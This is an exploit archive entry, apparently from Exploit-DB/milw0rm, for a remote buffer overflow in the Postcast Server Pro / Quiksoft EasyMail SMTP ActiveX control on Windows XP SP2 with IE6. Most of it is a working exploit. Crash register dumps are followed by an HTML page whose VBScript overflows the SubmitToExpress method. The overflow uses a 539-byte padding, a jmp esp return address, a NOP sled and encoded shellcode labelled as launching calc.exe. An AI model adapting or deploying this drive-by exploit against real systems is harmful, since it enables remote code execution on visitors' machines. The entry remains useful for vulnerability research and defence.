Postcast Server Pro 3.0.61 / Quiksoft EasyMail SMTP Object Remote Buffer Overflow Exploit

vendor:

Postcast Server Pro

by:

rgod

7.5

CVSS

HIGH

Remote Buffer Overflow

CWE

Product Name: Postcast Server Pro

Affected Version From: 3.0.61

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP2 with Internet Explorer 6

Postcast Server Pro 3.0.61 / Quiksoft EasyMail SMTP Object Remote Buffer Overflow Exploit

The exploit allows an attacker to pass more than 539 characters to the SubmitToExpress method in Postcast Server Pro 3.0.61 / Quiksoft EasyMail SMTP Object (emsmtp.dll 6.0.1). This results in a buffer overflow vulnerability, leading to a remote code execution.

Mitigation:

Apply the latest patch or update from the vendor.

Source

Exploit-DB raw data:

<!-- Postcast Server Pro 3.0.61 / Quiksoft EasyMail SMTP Object (emsmtp.dll 6.0.1)
     remote buffer overflow exploit
     (ie6 / xp sp2 version)

passing more than 539 chars to SubmitToExpress method:

EAX 00000400
ECX 0013DD24 ASCII "Error Creating File: AAAA ...
EDX C0403FFF
EBX FFFFFFFF
ESP 0013D5E4
EBP 0013DD08
ESI 41414141
EDI 0013DD24 ASCII "Error Creating File: AAAA ...
EIP 06986256 emsmtp.06986256

...
CMP DWORD PTR DS:[ESI+180],1
Access violation when reading 414142C1

seh overwrite follows:

EAX 00000000
ECX 41414141
EDX 7C9137D8 ntdll.7C9137D8
EBX 00000000
ESP 0013D214
EBP 0013D234
ESI 00000000
EDI 00000000
EIP 41414141

and if we pass a readable address to ESI:

A*539 + esi + A*99999

we fall in a more convenient
situation:

EAX 00000000
ECX 0013DF7C ASCII "AAAA...
EDX 001835D0
EBX 00000000
ESP 0013DF68 ASCII "AAAA...
EBP 41414141
ESI 05542A08
EDI 05586250 ASCII "AAAA...
EIP 41414141

Object safety report:
RegKey Safe for Script: true
RegKey Safe for Init: true

vendor urls: http://www.postcastserver.com/
             http://www.quicksoftcorp.com/

rgod.
site: http://retrogod.altervista.org
->


<html>
<object classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9' id='EasyMailSMTPObj' /></object>
<script language='vbscript'>

     'open calc.exe
     scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
             unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
             unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
             unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
             unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
             unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
             unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
             unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
             unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
             unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
             unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
             unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
             unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
             unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
             unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
             unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
             unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
             unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
             unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
             unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
             unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
             unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")


esi = unescape("%01%01%01%01")
ebp = "bbbb"
nop = string(16,unescape("%90"))
eip = unescape("%78%2c%41%7e") '0x7E412C78 jmp esp user32.dll
bof = string(539,"A") + esi + ebp + eip + nop + scode

EasyMailSMTPObj.SubmitToExpress bof

</script>
</html>

# milw0rm.com [2007-08-28]